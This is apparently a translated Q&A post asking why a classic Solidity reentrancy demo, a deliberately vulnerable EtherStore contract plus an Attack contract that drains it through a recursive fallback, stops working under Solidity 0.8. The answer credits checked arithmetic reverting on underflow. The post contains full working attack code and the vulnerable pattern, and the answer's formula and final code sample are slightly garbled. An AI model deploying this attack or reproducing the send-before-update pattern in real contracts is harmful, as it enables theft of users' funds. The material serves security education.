问题描述
以下合约“EtherStore”在受到合约“Attack”攻击时存在漏洞。但是,在更高版本的solidity(例如^0.8.0)中编译的相同代码(对于两个合约)似乎不再允许执行hack。
我已经浏览了 solidity 文档,以寻找版本 ^0.8.0 的发布更改,但我无法清楚地解释为什么这不再可行。
您可以在 Remix.org.
上试用此代码我很感激能解释为什么会发生这种情况的任何答案。
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
// pragma solidity ^0.8.0 or even pragma solidity >=0.4.0 <0.9.0; <<< no longer works
/*
EtherStore is a contract where you can deposit any amount and withdraw at most
1 Ether per week. This contract is vulnerable to re-entrancy attack.
Let's see why.
1. Deploy EtherStore
2. Deposit 1 Ether each from Account 1 (Alice) and Account 2 (Bob) into EtherStore
3. Deploy Attack with address of EtherStore
4. Call Attack.attack sending 1 ether (using Account 3 (Eve)).
You will get 3 Ethers back (2 Ether stolen from Alice and Bob,plus 1 Ether sent from this contract).
What happened?
Attack was able to call EtherStore.withdraw multiple times before
EtherStore.withdraw finished executing.
Here is how the functions were called
- Attack.attack
- EtherStore.deposit
- EtherStore.withdraw
- Attack fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack.fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack fallback (receives 1 Ether)
*/
contract EtherStore {
// Withdrawal limit = 1 ether / week
uint constant public WITHDRAWAL_LIMIT = 1 ether;
mapping(address => uint) public lastWithdrawTime;
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint _amount) public {
require(balances[msg.sender] >= _amount);
require(_amount <= WITHDRAWAL_LIMIT);
require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks);
(bool sent,) = msg.sender.call{value: _amount}("");
require(sent,"Failed to send Ether");
balances[msg.sender] -= _amount;
lastWithdrawTime[msg.sender] = block.timestamp;
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw(1 ether);
}
}
function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw(1 ether);
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
解决方法
您链接的变更日志中提到了攻击失败的原因:)
算术运算在下溢和上溢时恢复。
当 Attack 合约从易受攻击的合约中窃取了所有资金时,即当 fallback
中的 if 条件为 false 时,则更新攻击者的余额:
balances[msg.sender] -= _amount;
问题是这一行被多次执行,因为 withdraw
和 fallback
都被多次调用。如果攻击者在开始时存入 1 个以太币,由于下溢 (1 − 1 − 1 = 2256 − 1,因为我们使用 {{1} }).
因此,由于这次语言更新,重入攻击不再可能(在这种情况下)。但这当然不是不使用检查-效果-交互模式的理由:)
可以通过如下方式修改代码,观察攻击者的余额确实下溢了:
uint256